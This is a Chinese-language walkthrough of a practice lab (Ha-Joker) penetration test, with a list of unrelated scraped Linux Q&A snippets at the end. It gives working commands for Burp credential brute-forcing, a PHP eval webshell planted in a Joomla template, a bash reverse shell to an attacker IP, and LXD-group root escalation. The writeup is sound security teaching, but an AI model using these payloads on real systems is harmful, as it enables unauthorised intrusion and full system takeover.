基于Ha-Joker靶场的完整渗透测试演示直至提权(root)

2023-11-15

信息收集

┌──(root㉿kali)-[~]
└─# arp-scan -l       # 通过ARP-scan进行快速的主机发现, 如下图我们猜测10.10.10.138可能是目标主机

┌──(root㉿kali)-[~]
└─# nmap -sS -sV -p- -T4 10.10.10.138              #之后通过nmap对目标机进行深入探测

-A	:	全扫描,详细扫描目标IP信息
-v	:	显示扫描过程
-sS	:	SYN的半开扫描,不易被发现
-sV	:	扫描服务的版本信息
-p-	:	全端口扫描,相当于(-p 1-65535)
-T	:	扫描线程,最高6级

 通过nmap扫描得到的信息我们发现目标开放了80和8080服务,通过验证80端口的web服务没有利用点属于纯静态页面;但是可以遍历出一些信息便于我们之后构造爆破字典
8080的http服务我们可以尝试爆破获取其username,password

通过Dirsearch进行目录遍历
┌──(root㉿kali)-[~/Downloads/dirsearch]
└─# ./dirsearch.py -e jsp,php,html -u 10.10.10.138 -r ==recursion-depth 3 --recursion-status 200

通过dirb进行遍历
┌──(root㉿kali)-[~/Downloads]
└─# dirb http://10.10.10.138

BurpSuite爆破

抓取GET认证数据包,将其发送到Repeater模块

 我们发现其加密方式为Base64加密;并且用户名和密码通过:冒号分隔

 接下来设置爆破时的payload

 同样给位置2设置一个字典

 选择好需要爆破的变量之后开始Attack

 如下图所示,经过base64解码之后得到其用户名和密码
joker:hannah

 漏洞挖掘

接下来我们使用AWVS对其8080的web站点进一步扫描(提前配置好登陆的用户名和密码),评估其威胁性

通过AWVS的资产评估,我们发现了Joomla的管理员后台登录界面
http://10.10.10.138:8080/administrator/

 又在公网上对此cms进行信息收集,发现存在弱口令joomla:joomla;登录到后台之后接下来就好办了

 对其后台探究一番之后,发现其模块处可能存在漏洞可以利用

漏洞利用

冰蝎连接Webshell

在随机挑一个模板,在其中写入shell,尝试能否用冰蝎连接上
下方演示是将其写入到模板的index.php中,也可以写入到error.php中只要之后触发错误界面从而触发此文件中的shell即可

 访问如下链接(通过扫描器爬取判断路径)来抓取其请求头信息(身份认证)
http://10.10.10.138:8080/templates/beez3/index.php

 新增Shell

冰蝎Webshell连接成功

蚁剑连接Webshell

在模板中写入一句话木马
<?php
@eval($_POST['ggbond']);
?>
记得保存

 配置蚁剑1

 添加请求头

中国蚁剑连接成功

反弹Shell连接服务器

将如下命令插到模板中(-c意思是调用bash命令环境,将标准输入发送到10.10.10.128机器)
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.128/7777 0>&1'");
保存

Kali机器监听

攻击机kali先开启监听
┌──(root㉿kali)-[~]
└─# nc -lvp 7777         #  端口与插入模板中的反弹shell端口一致
监听开启之后访问插入shell的页面
http://10.10.10.138:8080/templates/beez3/index.php

netcat命令解析
-l	:	监听
-p	:	监听本地端口
-n	:	指定IP
-v	:	熟悉详细信息
-h	:	帮助

kali反弹Shell成功连接

windows(10.10.10.149)机器监听

windows自身没装nc命令,需要手动安装
记得更改插入模板的监听主机IP呦
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.149/7777 0>&1'");
同样先打开监听7777端口之后访问页面
http://10.10.10.138:8080/templates/beez3/index.php

windows反弹Shell连接成功

小彩蛋

使用Kali自带的反弹Shell

Kali也有自带的反弹Shell
┌──(root㉿kali)-[~/Downloads]
└─# cat /usr/share/webshells/php/php-reverse-shell.php 

# 原理一样将其shell插入到后台模板中,记得修改监听地址和端口喔
$ip = '10.10.10.128';  // CHANGE THIS
$port = 7777;       // CHANGE THIS
之后访问下面链接
http://10.10.10.138:8080/templates/beez3/index.php

反弹Shell成功

 到现在为止我们只是拿到了网站后台的管理员权限并非后台系统权限,接下来我们进行lxd组提权 ~~

提权

要想提权我们得知道Linux相关版本,之后通过版本找对应是否有爆出的漏洞加以利用

通过cat /etc/*release 命令查看Linux内核相关配置信息;我们发现此靶场是18.04版的linux
$ cat /etc/*release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=18.04
DISTRIB_CODENAME=bionic
DISTRIB_DESCRIPTION="Ubuntu 18.04.3 LTS"
NAME="Ubuntu"
VERSION="18.04.3 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.3 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic

www-data@ubuntu:/tmp$ id           # 通过查看id发现此用户属于lxd组用户;之后我们便可以猜想是否可以将lxd组用户提权至root用户
id
uid=33(www-data) gid=33(www-data) groups=33(www-data),115(lxd)
┌──(root㉿kali)-[~/dirtycow]
└─# searchsploit Ubuntu 18.04     # 在kali中查看是否存在其相应的提权EXP,发现可以尝试LXD提权

┌──(root㉿kali)-[~/dirtycow]
└─# searchsploit -p 46978        # 查看相关EXP的详细信息

┌──(root㉿kali)-[~/dirtycow]
└─# cat /usr/share/exploitdb/exploits/linux/local/46978.sh        # 查看使用说明

下载EXP

┌──(root㉿kali)-[~]
└─# git clone https://github.com/saghul/lxd-alpine-builder.git
┌──(root㉿kali)-[~]
└─# cd lxd-alpine-builder     
┌──(root㉿kali)-[~/lxd-alpine-builder]
└─# ls
alpine-v3.13-x86_64-20210218_0139.tar.gz  build-alpine  LICENSE  README.md       
┌──(root㉿kali)-[~/lxd-alpine-builder]
└─# ./build-alpine            # 运行脚本构建最新alpine镜像

确保本地web服务开启便于将本地编译好的apline镜像传到目标机
┌──(root㉿kali)-[~/lxd-alpine-builder]
└─# systemctl status apache2.service 
将镜像复制到html目录下并且更改权限777方便目标机wget
┌──(root㉿kali)-[/var/www/html]
└─# cp /root/lxd-alpine-builder/alpine-v3.16-x86_64-20221021_0836.tar.gz ./   

之后回到反弹Shell界面将其从kali上wget下来
www-data@ubuntu:/opt/joomla/templates/beez3$ cd /tmp 
www-data@ubuntu:/tmp$ wget http://10.10.10.128/alpine-v3.16-x86_64-20221021_0836.tar.gz

导入镜像   
www-data@ubuntu:/tmp$ lxc image import ./alpine-v3.16-x86_64-20221021_0836.tar.gz --alias myimage     

初始化镜像
www-data@ubuntu:/tmp$ lxc init myimage ignite -c security.privileged=true                  

 挂载磁盘
www-data@ubuntu:/tmp$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true  

启动镜像
www-data@ubuntu:/tmp$ lxc start ignite    

进入镜像,此时我们便可以通过root用户访问任意文件了
 
www-data@ubuntu:/tmp$ lxc exec ignite /bin/sh 

LXD提权成功

 进入到挂载文件中最终找到了靶机flag
cd /mnt/root/root
cat final.txt

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

基于Ha-Joker靶场的完整渗透测试演示直至提权(root) 的相关文章

  • xdotool 类型需要很长时间并导致整个桌面冻结

    我一直在使用xdotool type过去只能在快捷方式上输入耸肩xdotool type 这可行 但总是需要相当长的时间 并导致整个桌面冻结 完全冻结 而不仅仅是输入 几秒钟 不过并没有太打扰我 现在我需要一种方法来从文件中读取内容 对其进
  • 使用 MongoDB docker 镜像停止虚拟机而不丢失数据

    我已经在 AWS EC2 上的虚拟机中安装了官方的 MongoDB docker 映像 并且数据库上已经有数据 如果我停止虚拟机 以节省过夜费用 我会丢失数据库中包含的所有数据吗 在这些情况下我怎样才能让它持久 有多种选择可以实现此目的 但
  • Linux TCP服务器:在接受连接之前读取客户端的IP地址

    Related C Winsock API如何在接受连接之前获取连接客户端IP https stackoverflow com questions 716209 c winsock api how to get connecting cli
  • 原生 Linux 应用程序可像 ResHacker 一样编辑 Win32 PE

    我想运行自动修改 dll服务 用户提交特定的 dll 我在服务器上修改它 然后用户可以下载 dll的修改版本 是否有任何本机 Linux 应用程序提供常见的 Win32 PE 修改功能 例如图标 字符串 加速器 对话等 至少提供命令行或脚本
  • 在 Ubuntu 上纯粹通过 bash 脚本安装 mysql 5.7

    我想要一个无需任何手动输入即可安装 MySQL 5 7 实例的 bash 脚本 我正在关注数字海洋教程 https www digitalocean com community tutorials how to install mysql
  • 是否有可能通过 mmap 匿名内存“打孔”?

    考虑一个使用大量大致页面大小的内存区域 例如 64 kB 左右 的程序 每个内存区域的寿命都相当短暂 在我的特定情况下 这些是绿色线程的替代堆栈 如何最好地分配这些区域 以便一旦该区域不再使用 它 们的页面可以返回到内核 天真的解决方案显然
  • 如何阅读shell命令的源代码?

    我想阅读编写linux命令的实际源代码 我已经获得了一些使用它们的经验 现在我认为是时候与我的机器进行更深层次的交互了 我在这里找到了一些命令http directory fsf org wiki GNU http directory fs
  • 如何在两个不同帐户之间设置无密码身份验证

    我们可以在两台机器的两种不同用途之间设置无密码身份验证吗 例如 计算机A有用户A 计算机B有用户B 我们可以设置密码 ssh 以便计算机 A 上的用户 A 使用其用户帐户 A 登录计算机 B 谢谢你 如果我理解你的问题 你能设置一下吗ssh
  • Xenomai 中的周期性线程实时失败

    我正在创建一个周期性线程 它在模拟输出上输出方波信号 我正在使用 Xenomai API 中的 Posix Skin 和 Analogy 我使用示波器测试了代码的实时性能 并查看了方波信号 频率为 1kHz 的延迟 我应该实现 250us
  • 如何仅将整个嵌套目录中的头文件复制到另一个目录,在复制到新文件夹后保持相同的层次结构

    我有一个目录 其中有很多头文件 h 和其他 o 和 c 文件以及其他文件 这个目录里面有很多嵌套的目录 我只想将头文件复制到一个单独的目录 并在新目录中保留相同的结构 cp rf oldDirectory newDirectory将复制所有
  • sqlite 插入需要很长时间

    我正在将不到 200 000 行插入到 sqlite 数据库表中 我只是在终端中通过 sqlite3 使用一个非常简单的 sql 文件 我打赌它已经运行了至少 30 分钟 这是正常现象还是我应该关闭该过程并尝试不同的方法 sqlite中的插
  • R 未获取用户库

    我有一个带 R 3 6 0 的 Fedora 30 系统 用户库设置在Renviron就像这个 R LIBS USER R LIBS USER R x86 64 redhat linux gnu library 3 6 事实上 它出现在交互
  • 如何从 Linux 的 shell 中删除所有以 ._ 开头的文件?

    确实如标题所示 我已将许多文件从 Mac 复制到 Raspberry Pi 这导致了许多以前缀开头的多余文件 我想删除以以下开头的文件夹中的每个文件 我该怎么做 尝试类似的方法 cd path to directory rm rf 或者 如
  • 在 shell 脚本中查找和替换

    是否可以使用 shell 在文件中搜索然后替换值 当我安装服务时 我希望能够在配置文件中搜索变量 然后在该值中替换 插入我自己的设置 当然 您可以使用 sed 或 awk 来完成此操作 sed 示例 sed i s Andrew James
  • 进程名称长度的最大允许限制是多少?

    进程名称允许的最大长度是多少 我正在读取进程名称 proc pid stat文件 我想知道我需要的最大缓冲区 我很确定有一个可配置的限制 但就是找不到它在哪里 根据man 2 prctl http man7 org linux man pa
  • Scrapy FakeUserAgentError:获取浏览器时发生错误

    我使用 Scrapy FakeUserAgent 并在我的 Linux 服务器上不断收到此错误 Traceback most recent call last File usr local lib64 python2 7 site pack
  • gethostbyname() 或 getnameinfo() 如何在后台工作?

    How gethostbyname or getnameinfo 在后台工作 include
  • 如何使用AWK脚本检查表的所有列数据类型? [关闭]

    Closed 这个问题需要多问focused help closed questions 目前不接受答案 在这里 我正在检查表中第一列的数据类型 但我想知道AWK中表的所有列数据类型 我尝试过 但只能获得一列数据类型 例如 Column 1
  • 如何让 clangd 转向 c++20

    当没有其他信息时 如何让 clangd 回退到 c 20 例如 在第一次构建之前 cmake 可以生成一个 这是在带有最新 LLVM 的 Arch Linux 上 这是通过 Emacs LSP 运行的 但这应该没有什么区别 你可以加 Com
  • 停止服务时单元陷入故障状态(状态=143)[关闭]

    Closed 这个问题不符合堆栈溢出指南 help closed questions 目前不接受答案 这是我的问题 我有 CentOS 和 java 进程在上面运行 Java进程是通过启动 停止脚本来操作的 它也创建了 java 实例的 p

随机推荐